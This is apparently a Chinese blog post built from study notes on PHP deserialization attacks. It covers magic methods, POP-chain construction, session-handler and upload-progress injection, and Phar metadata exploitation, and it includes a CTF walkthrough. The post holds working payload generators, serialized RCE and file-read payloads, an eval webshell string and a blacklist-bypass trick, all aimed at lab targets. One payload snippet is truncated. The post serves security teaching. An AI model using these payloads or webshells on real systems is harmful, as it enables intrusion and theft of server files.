本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。

基础知识

面向对象

一类事物的抽象定义

类名:

  • 人类
  • 动物
  • 汽车

属性:

  • 汽车类:颜色、动力来源、马力
  • 人类:姓名、身高、体重
  • 方法(功能、动作): 汽车类:刹车、放歌、启动汽车
  • 人类:吃、喝、睡

对象

内存中存储的类的实例化,具体是事物

  • 身份证号是11010xxxxx的某某
  • 车牌号是京Axxxx 的小米su7

支持面向对象的编程语言

支持面向对象(OOP,Object-Oriented Programming)的编程语言

PHP 面向对象编程

语法结构

<?php
highlight_file(__FILE__);

// 反序列化基础 – PHP 面向对象

// 定义一个类
class Student
{
    //定义类属性
    public $name;
    public $age;
    public $id_card;

    //定义类方法
    public function talk()
    {
        echo $this->name . " can talk\n";
    }

}

// 类的实例化、创建对象,对象名字 stu1
$stu1 = new Student();
// 给对象的属性赋值
$stu1->name = "zhangsan";
$stu1->age = 18;
$stu1->id_card = "123456";
// 调用对象的方法
echo $stu1->talk();
?>

魔术方法

  • 正常的方法,需要调用才会执行
  • 魔术方法不需要调用,而是特殊情况下会自动触发的方法 (PHP 魔术方法以 两个下划线开头)

__construct ✨构造方法

构造方法 - 创建对象时,会自动触发

__destruct ✨析构方法

析构方法 - 对象销毁或反序列化时自动触发

__toString

字符串输出 - 把对象当做字符串使用时自动触发

__wakeup ✨

对象反序列化时自动触发

__sleep

对象序列化时自动触发

__call

调用一个不存在的方法,或调用一个不能调用的方法时自动触发

__get

调用一个不存在的属性,或调用一个不能调用的属性时自动触发

__set

修改一个不存在的属性,或修改一个不能调用的属性时自动触发

__invoke

把对象当做方法调用时自动触发

示例

<?php
highlight_file(__FILE__);

class Test
{
    private $name = 'TestClass';

    public function hello()
    {
        echo "<hr>";
        echo $this->name . " is a demo Class\n";
    }

    public function __wakeup()
    {
        echo "<hr>";
        echo "调用了__wakeup()方法\n";
    }

    public function __construct()
    {
        echo "<hr>";
        echo "调用了__construct()方法\n";
    }

    public function __destruct()
    {
        echo "<hr>";
        echo "调用了__destruct()方法\n";
    }

    public function __toString()
    {
        echo "<hr>";
        echo "调用了__toString()方法\n";
        return "调用了__toString()方法\n";
    }

    public function __set($key, $value)
    {
        echo "<hr>";
        echo "调用了__set()方法\n";
    }

    public function __get($key)
    {
        echo "<hr>";
        echo "调用了__get()方法\n";
    }
}

// 实例化对象,调用__construct
$obj = new Test();

// 改写私有属性,调用__set
$obj->name = 1;

// 读取私有属性,调用__get
echo $obj->name;

// 调用hello方法
echo $obj->hello();

// 把对象当做字符串使用,调用__toString
echo $obj;

// 序列化对象,调用__destruct
$ser_obj = serialize($obj);

// 反序列化,调用__wakeup和__destruct
print_r(unserialize($ser_obj));

// 程序结束,调用__destruct

序列化和反序列化

  • 序列化:把内存中的对象,转换成字符串或字节码,便于存储和网络传输
  • 反序列化:把字符串或字节码还原为内存中的对象

序列化后的字符串样式

<?php
highlight_file(__FILE__);

class Test
{
    // public 属性
    public $a = 'aaa';

    // private 属性
    private $b = 'bbb';

    // protected 属性
    protected $c = 'ccc';

    // 方法不会被序列化
    function create_d()
    {
        $this->$d = 'ddd';
    }
}

// 实例化对象
$object = new Test();

// 序列化对象
echo serialize($object);

O:4:"Test":3:{s:1:"a";s:3:"aaa";s:7:"Testb";s:3:"bbb";s:4:"*c";s:3:"ccc";}

反序列化漏洞

产生原因

  • 用户可以通过 HTTP、或其他网络协议向服务器发送任意的序列化字符串或字节码,服务器未经严格验证就进行了反序列化

利用

2-1.php/2-2.php

http://kls07.serialize.colanse.website/

审计
  • 用户传入的POST参数test,没有经过任何过滤,直接被 unserialize 反序列化,故存在反序列化漏洞,攻击者需要传入序列化字符串
  • unserialize() 是 PHP 中用于还原序列化数据的函数,功能强大但存在安全风险。在处理用户输入或外部数据时,应格外小心,优先考虑更安全的替代方案(如 JSON)
编写 payload

1 复制代码到新的 php 文件中

2 删除类之外的所有代码

3 改写属性值为预期的内容

4 删除和属性无关的方法

5 实例化对象,输出序列化 字符串

<?php
class A
{
    var $test = "system(id);";
}
$DC = new A();
echo serialize($DC);

6 运行payload ,得到序列化字符串

php -f payload.php

攻击反序列化漏洞

2-2-demo CTF题目练习

审计
绕过前期限制

限制: txt 必须是从文件读取的,结果为 welcome to the bugkuctf

绕过:php://input

http://kls07.serialize.colanse.website/2-2-demo/?txt=data://text/plain,welcome to the bugkuctf

编写反序列化 payload

访问 hint.php ,复制代码,编写payload

<?php
class Flag {
    public $file = "flag.php";
}
$DC = new Flag();
echo serialize($DC);
?>
PS D:\32550\aq\php_ID> php -f 2-2-demo.php
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
PS D:\32550\aq\php_ID>
攻击反序列化漏洞
POST /2-2-demo/?txt=php://input&file=hint.php&password=
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1

welcome to the bugkuctf

2-3.php

审计
编写payload
<?php
                                                         ?>';
}
$DC = new Test();
echo serialize($DC);
访问写入的webshell
<?php
                                                          ?>';
}

$DC = new Test();
echo serialize($DC);
?>

http://kls07.serialize.colanse.website/2-3/?id=O:4:"Test":1:{s:4:"test";s:30:"<?php eval($_REQUEST['c']); ?>";}

pop链

面向属性编程:危险函数不在魔术方法中,需要构造层层递进的利用链

代码审计的技巧 正向审计, 反向代码审计

source -> sink 正常代码审计(正向审计),找输入点,看输入点是否能够连接到危险函数

sink -> source 反向代码审计,找危险函数,看危险函数是否能够连接到输入点

pop链-示例1

审计

pop链 : eval -> evil.action -> main.destruct -> unserialize

确定目标:我要执行 eval,也就是 evil 类的 action 方法
问题1: 谁会执行 evil 类的 action 方法呢?
回答1:main类的 __destruct 方法能够执行 action 方法,
前提是 $this->ClassObj 需要是 evil 类的对象
问题2:谁会执行 __destruct 方法呢?
回答2:反序列化自动执行
编写payload
<?php
class main {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}

class evil {
    private $data = "system('id') ;";
}
$DC = new main();
echo urlencode(serialize($DC));
?>

因为修改了 protected 和 private 属性,故必须要URL编码,否则无法显示 0x00

攻击反序列化漏洞

pop链-示例2

审计
  • 反序列化时自动触发 destruct , destuct 把对象字符串输出,又触发了 toString , toString 里有 file_get_contents 存在任意文件读取漏洞
  • 反序列化时自动触发 wakeup ,wakeup 中写了过滤,无论如何name的值只能是
    /etc/hostname 或 /etc/passwd
<?php
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user;
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False)
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd";
        if(isset($_GET['user'])) {
            $this->user = $_GET['user'];
        }
    }
    public function __destruct() {
        echo $this;
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input'];
    if(stristr($input, 'user')!==False){
        die('Hacker');
    } else {
        unserialize($input);
    }
}else {
    highlight_file(__FILE__);
}
?>
编写payload ,浅拷贝

1 无论如何name的值只能是 /etc/hostname 或 /etc/passwd,怎么读取其他文件呢?

解决方案:浅拷贝,name没办法变动了,就让 user 和 name 建立浅拷贝关系,user变了, name 会同步变化

<?php
class MyFile {
    public $name = "";
    public $user = "";


    public function __toString(){
        return file_get_contents($this->name);
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False)
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd";
        if(isset($_GET['user'])) {
            $this->user = $_GET['user'];
        }
    }
    public function __destruct() {
        echo $this;
    }
}

$DC = new MyFile();
$DC->name = &$DC->user;
echo serialize($DC);
?>
攻击反序列化漏洞

被拦截!序列化中出现了 user 字符,被黑名单拦截

如何绕过:大S 16进制,如果 s 变成 S,值即可使用16进制表示

原本的payload

O:6:"MyFile":2:{s:4:"name";s:0:"";s:4:"user";R:2;}

把 s 变为 S

O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"user";R:2;}

把user中的u变为16进制 \75

O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"\75ser";R:2;}

任意文件读取

GET参数 user 实现任意文件读取

代码中任意文件读取是读取 name 而不是user,但是因为 name 和 user 建立了浅拷贝的关系, 所以改动user,等价于改动了 name

public function __toString(){
        return file_get_contents($this->name);
    }

pop链-示例3

审计
<?php
highlight_file(__FILE__);
class start_gg
{
    public $mod1;
    public $mod2;
    public function __destruct() // 问题6:谁会调用__destruct 方法? 反序列化自动触发
    {
        $this->mod1->test1(); // 回答5:如果 $this->mod1 是Call 对象,就会调用 test1 方法
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1() // 问题5:谁会调用test1方法?
    {
        $this->mod1->test2(); // 回答4:如果 $this->mod1 是func 对象。就会调用 __call 方法
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr) // 问题4:谁会调用__call 方法?
    {
        $s1 = $this->mod1;
        $s1(); // 回答3:如果 $this->mod1 是 func 对象,就会调用__invoke方法
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke() // 问题3:谁会调用__invoke 方法?
    {
        $this->mod2 = "字符串拼接".$this->mod1; //回答2:如果 $this->$mod1 是string1 的对象,就会调用
    }
}
class string1
{
    public $str1;
    public $str2;
    public function __toString() // 问题2:谁会调用__toString 方法?
    {
        $this->str1->get_flag(); // 回答1:如果 $this->strl 是 GetFlag 的对象,就会调用 get_flag 方法
        return "1";
    }
}
class GetFlag
{
    public function get_flag() // 问题1:谁会调用 get_flag 方法?
    {
        system($_GET['cmd']); //目标:RCE 漏洞
    }
}
$a = $_GET['string'];
unserialize($a);
?>
目标:RCE漏洞
问题1:谁会调用GetFlag类的 get_flag 方法?
回答1:在 string1 类中如果 $this->str1是GetFlag的对象,就会调用get_flag方法

问题2:谁会调用string1 类的 __toString 方法?
回答2:如果func类的$this->mod1是string1的对象,就会调用 __toString方法

问题3:谁会调用func类的 __invoke 方法?
回答3:如果funct类的$this->mod1 是func的对象,就会调用 __invoke 方法

问题4:谁会调用funct类的 __call 方法?
回答4:如果 Call 类的$this->mod1 是funct的对象,就会调用 __call 方法

问题5:谁会调用Call类的 test1 方法?
回答5:如果start_gg类的$this->mod1 是Call的对象,就会调用 test1 方法

问题6:谁会调用start_gg类的 __destruct 方法?
回答6:反序列化自动触发
编写playload
<?php
class start_gg
{
    public $mod1;
    public function __construct()
    {
        $this->mod1 = new Call();
    }
}

class Call
{
    public $mod1;
    public function __construct()
    {
        $this->mod1 = new funct();
    }
}
class funct
{
    public $mod1;
    public function __construct()
    {
        $this->mod1 = new func();
    }
}
class func
{
    public $mod1;
    public function __construct()
    {
        $this->mod1 = new string1();
    }
}

class string1
{
    public $str1;
    public function __construct()
    {
        $this->str1 = new GetFlag();
    }
}

class GetFlag
{}

$DC = new start_gg();
echo urlencode(serialize($DC)); // 也可以不编码
?>
攻击反序列化漏洞

pop链 - 示例4

审计
确定目标:include($value); 文件包含漏洞
问1:谁会执行 Modifier 的 append 呢?
答1:Modifier的__invoke 会执行 Modifier 的
append

问2:谁会触发 Modifier 的 __invoke 呢?
答2:如果$this->p是Modifier的对象 Test的__get
会触发 Modifier 的 __invoke

问3:谁会触发 Test 的 __get 呢?
答3:如果$this->str是Test的对象,Show的__toString会触
发 Test 的 __get

问4:谁会触发 Show 的 __toString 呢?
答4:如果 $this->source是Show类的对象,Show的
wakeup 就会触发 Show的toString

问5:谁会触发 Show 的 __wakeup 呢?
答5:反序列化自动触发
编写 payload
<?php
class Modifier {
    protected  $var = "/etc/passwd";
    public function append($value){ // 问1:谁会执行 Modifier 的 append 呢?
        include($value);   // 目标
    }
    public function __invoke(){   // 问2:谁会触发 Modifier 的 __invoke 呢?
        $this->append($this->var);  // 答1:Modifier的__invoke 会执行 Modifier 的 append
    }
}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
        // $this->source = new Show();
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){ // 问4:谁会触发 Show 的 __toString 呢?
        return $this->str->source;  // 答3:如果$this->str是Test的对象,Show的__toString会触发 Test 的 __get
    }

    public function __wakeup(){ //问5:谁会触发 Show 的 __wakeup 呢?反序列化自动触发!
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { // 答4:如果 $this->source是Show类的对象,就会触发 Show的__toString
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }

    public function __get($key){ // 问3:谁会触发 Test 的 __get 呢?
        $function = $this->p;
        return $function(); // 答2:如果$this->p是Modifier的对象 Test的__get 会触发 Modifier 的 __invoke
    }
}

$DC = new Show();
$DC->source = $DC;
echo urlencode(serialize($DC));
?>
<?php
class Modifier {
    protected $var;

    public function append($value) {
        include($value);
    }

    public function __invoke() {
        $this->append($this->var);
    }
}

class Show {
    public $source;
    public $str;

    public function __construct($file = 'index.php') {
        $this->source = $file;
        echo 'Welcome to ' . $this->source . "<br>";
    }

    public function __toString() {
        return $this->str->source;
    }

    public function __wakeup() {
        if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test {
    public $p;

    public function __construct() {
        $this->p = array();
    }

    public function __get($key) {
        $function = $this->p;
        return $function();
    }
}

// 创建Modifier对象
$m = new Modifier();

// 通过反射设置protected属性$var
$ref = new ReflectionClass('Modifier');
$prop = $ref->getProperty('var');
$prop->setAccessible(true);
$prop->setValue($m, '/etc/hosts'); // 修改为 /etc/hosts

// 创建Test对象
$t = new Test();
$t->p = $m; // 设置$p为Modifier对象

// 创建内部Show对象
$s = new Show('index.php');
$s->str = $t; // 设置$str为Test对象

// 创建外部Show对象
$s2 = new Show('index.php');
$s2->source = $s; // 关键:将$source设置为内部Show对象(不是字符串)
$s2->str = null;

// 生成payload
$payload = urlencode(serialize($s2));
echo "Payload: " . $payload . "\n";

// 也可以直接输出未编码的payload用于调试
echo "Raw payload: " . serialize($s2) . "\n";
?>
攻击反序列化漏洞

session 反序列化

成因,是什么

  • php使用了不同的 session序列化引擎处理 session
  • php 保存session的过程是序列化,php读取session的过程是反序列化

session序列化引擎

php

username=han 的结果

username | s:3:"han";

php_serialize

username=han 的结果

a:1:{s:8:"username";s:3:"han";}

php_binary

username=han 的结果

[BS] username:3:"han";

session反序列化漏洞示例

审计

1 php 生成session(序列化)使用的session处理引擎是 php_serialize 引擎

<?php
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];

var_dump($_SESSION);

?>

2 php 读取session(反序列化) 使用的session处理引擎是 php 引擎

<?php
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class user{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name." !";
        system($this->name);
    }
}
?>

编写 payload

<?php
class user{
    var $name = "id";  // var $name = "cat /etc/passwd";
    var $age;
    function __wakeup(){
        echo "hello ".$this->name." !";
        system($this->name);
    }
}
$DC = new user();
echo serialize($DC);
?>

O:4:"user":2:{s:4:"name";s:14:"cat /etc/hosts";s:3:"age";N;}

攻击session反序列化漏洞

攻击创建session的页面
访问读取session的页面
原理:(因为 php_serialize 引擎和 php 引擎对 | 处理方式的差异化)

文件上传进度反序列化

作用:

在文件上传过程中,允许服务器端实时追踪并报告上传的进度
php会话上传进度,phpinfo信息泄露可以看到对应的信息 php-session.upload_progress

  • session.upload_progress.enabled 会话上传进度是否开启
  • session.upload_progress.name 会话上传进度名
  • session.upload_progress.cleanup 会话上传进度是否会自动清理

当一个文件上传时,PHP 会检查 HTTP 请求。如果发现请求中包含一个特定的变量(默认名称为 PHP_SESSION_UPLOAD_PROGRESS ),它就会在 $_SESSION 数组中创建一个特殊的键。 !序列化
这个键里包含了文件的总大小、当前已上传的大小、预计剩余时间等实时数据。前端可以通过另一个异步请求(AJAX)读取这些 Session 数据,从而绘制出进度条。 ! 反序列化

示例 - 关闭cleanup

审计
编写 payload
<?php
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = "system('whoami');";
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
$DC = new OowoO();
echo serialize($DC);
构造文件上传请求表单
<form action="http://kls07.serialize.colanse.website/4-4-demo/"
method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"
value="your_payload">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>
攻击session反序列化漏洞

抓取 upload.html 发送的文件上传请求包,并修改payload,完成攻击

示例2 - 开启cleanup ,条件竞争

session.upload_progress.cleanup = On 的情况下

写入session的payload会被立即清除,需要条件竞争

构造文件上传的请求表单
<form action="http://kls07.serialize.colanse.website/4-5/2.php"
method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"
value="your_payload">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>
编写 payload
<?php
class foo1{
    public $varr;
    function __construct(){
        $this->varr = new foo2();
    }
    function __destruct(){ // 问3: 谁会触发 foo1 的 __destruct 吗? 反序列化自动触发
        if(file_exists($this->varr)){// 答2: 如果$this->varr是foo2的对象, 则会触发 foo2 的 __toString 方法
            echo "<br>文件".$this->varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}
class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1234567890';
        $this->obj = new foo3();
    }
    function __toString(){ // 问2: 谁会触发 foo2 的 __toString 呢?
        $this->obj->execute(); // 答1: 如果 $this->obj 是 foo3 的对象, 则会执行 foo3 的 execute
        return $this->varr;
    }
    function __destruct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}
class foo3{
    public $varr = "system('id');";
    function execute(){ // 问1: 谁会执行 foo3 的 execute 呢?
        eval($this->varr); // 目的
    }
    function __destruct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}
$obj = new foo1();
echo serialize($obj);
?>
<?php
class foo1{
    public $varr;
}

class foo2{
    public $varr;
    public $obj;
}

class foo3{
    public $varr;
}

// 构造恶意对象
$f3 = new foo3();
$f3->varr = 'system("id");';  // 执行 id 命令

$f2 = new foo2();
$f2->obj = $f3;
$f2->varr = "trigger";  // 任意字符串

$f1 = new foo1();
$f1->varr = $f2;  // 关键:覆盖为 foo2 对象

// 序列化
echo serialize($f1);
?>

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:13:"system('id');";}}}

攻击session反序列化漏洞 抓包, 条件竞争

Phar反序列化

Phar 文件

Phar(PHP Archive)是 PHP 的一种归档文件格式。它类似于 Java 中的 JAR 文件

  • stub:这是 Phar 的入口点,必须以 __HALT_COMPILER(); ?> 结尾,文件头可以任意
  • meta-data ✨️ :元数据可以存储自定义的序列化数据(这也是一些反序列化漏洞的利用点)
  • 文件内容

查看 .phar 文件

php -r "$p=new Phar('DC.phar');$p->extractTo('out',null,true);"

php -r "$p=new Phar('DC.phar');$p->extractTo('out');"

如果无法生成,可以修改php配置文件 php.ini

phar.readonly = Off

windows

复制 php.ini.development 为 php.ini

改动 phar.readonly = Off (记得去掉 注释: ;)

Phar 反序列化

Phar 反序列化漏洞的触发原因主要是由 PHP 的 Phar 协议特性和文件操作函数的交互导致的

下述函数和 phar:// 联用时,会自动对 phar 文件中的meta-data进行反序列化
  • 状态检查: file_exists() 、 is_dir() 、 is_file() 、 is_link() 、 is_readable() 、
    is_writable() 、 is_executable()
  • 文件读取/写入: file_get_contents() 、 file_put_contents() 、 file() 、 fopen() 、readfile()
  • 文件属性: fileatime() 、 filectime() 、 filemtime() 、 fileinode() 、
    filegroup() 、 fileowner() 、 fileperms() 、 filesize() 、 filetype() 、 stat() 、
    lstat()
  • 文件删除/重命名: unlink() 、 rename() 、 copy()

条件:需要预先把 phar 文件上传到目标服务器 (phar 的文件头和文件后缀名可以随意指定)

编写 payload
<?php
class AnyClass{
    var $output = "system('id');";
}
$SD = new AnyClass();
echo serialize($SD);
?>
把序列化字符串放到 meta-data
<?php
class AnyClass{
    var $output = "system('id');";
}
$SD = new AnyClass();
// echo serialize($SD);
//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("DC.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();

//设置识别phar拓展的标识stub
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($SD);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("chaitin.txt", "test phar file");
//停止缓冲对phar的写操作,自动计算签名
$phar->stopBuffering();
?>
上传phar文件
使用phar伪协议

phar:// 协议和 file_exists 函数联用,会自动反序列化

CTF 实例 - swpuctf_2018_simplephp

1 任意文件读取漏洞

泄露源码

<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
<?php
    session_start();
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>web3</title>
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
    <nav class="navbar navbar-default" role="navigation">
        <div class="container-fluid">
        <div class="navbar-header">
            <a class="navbar-brand" href="index.php">首页</a>
        </div>
            <ul class="nav navbar-nav navbra-toggle">
                <li class="active"><a href="file.php?file=">查看文件</a></li>
                <li><a href="upload_file.php">上传文件</a></li>
            </ul>
            <ul class="nav navbar-nav navbar-right">
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
            </ul>
        </div>
    </nav>
</body>
</html>
<!--flag is in f1ag.php-->
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
    $show->source = $file;
    $show->_show();
} else if (!empty($file)){
    die('file doesn\'t exists.');
}
?>
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
    global $_FILES;
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    //mkdir("upload",0777);
    if(file_exists("upload/" . $filename)) {
        unlink($filename);
    }
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
    global $_FILES;
    if(upload_file_check()) {
        upload_file_do();
    }
}
function upload_file_check() {
    global $_FILES;
    $allowed_types = array("gif","jpeg","jpg","png");
    $temp = explode(".",$_FILES["file"]["name"]);
    $extension = end($temp);
    if(empty($extension)) {
        //echo "<h4>请选择上传的文件:" . "<h4/>";
    }
    else{
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo '<script type="text/javascript">alert("Invalid file!");</script>';
            return false;
        }
    }
}
?>
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

2 phar反序列化漏洞

通过代码审计可以发现file.php存在phar反序列化漏洞

3 编写 payload

目标:任意文件读取
问1:谁会执行 Test 的 file_get 呢?
答1:Test的get 会执行 Test 的 file_get

问2:谁会执行 Test 的 get 呢?
答2:如果$this->params[$key]存在,Test的__get 会执行Test 的 get

问3:谁会触发 Test 的 __get 呢?
答3:如果$this->str['str']是Show的对象,Show的__toString 会执行 Test 的 __get

问4:谁会触发 Show 的 __toString 呢?
答4:如果$this->str是Show的对象,C1e4r的__destruct 会执行 Show 的 __toString

问5:谁会触发 C1e4r的 __destruct 呢? 反序列化自动触发
<?php
class Cle4r
{
    public $str;
    public function __construct()
    {
        $this->str = new Show();
    }
}

class Show
{
    public $str;
    public function __construct()
    {
        $this->str = array();
        $this->str['str'] = new Test();
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
        $this->params['source'] = '/var/www/html/flag.php';
    }
}

$obj = new Cle4r();
echo serialize($obj);

4 生成 phar 文件

<?php
class C1e4r
{
    public $str;
    public function __construct()
    {
        $this->str = new Show();
    }
}

class Show
{
    public $str;
    public function __construct()
    {
        $this->str = array();
        $this->str['str'] = new Test();
    }

}
class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
        $this->params['source'] = '/var/www/html/flag.php';
    }
}
$obj = new C1e4r();
echo serialize($obj);
//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("SDC.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();

//设置识别phar拓展的标识stub
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($obj);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("chaitin.txt", "test phar file");
//停止缓冲对phar的写操作,自动计算签名
$phar->stopBuffering();
?>

5 文件上传

通过代码审计可以发现,文件上传只能上传 gif 等图像文件

改 phar 文件后缀名为 .jpg

访问 upload 路径 : http://192.168.79.120:8888/upload/

通过时间判断自己上传的是哪个 文件

6 phar伪协议触发反序列化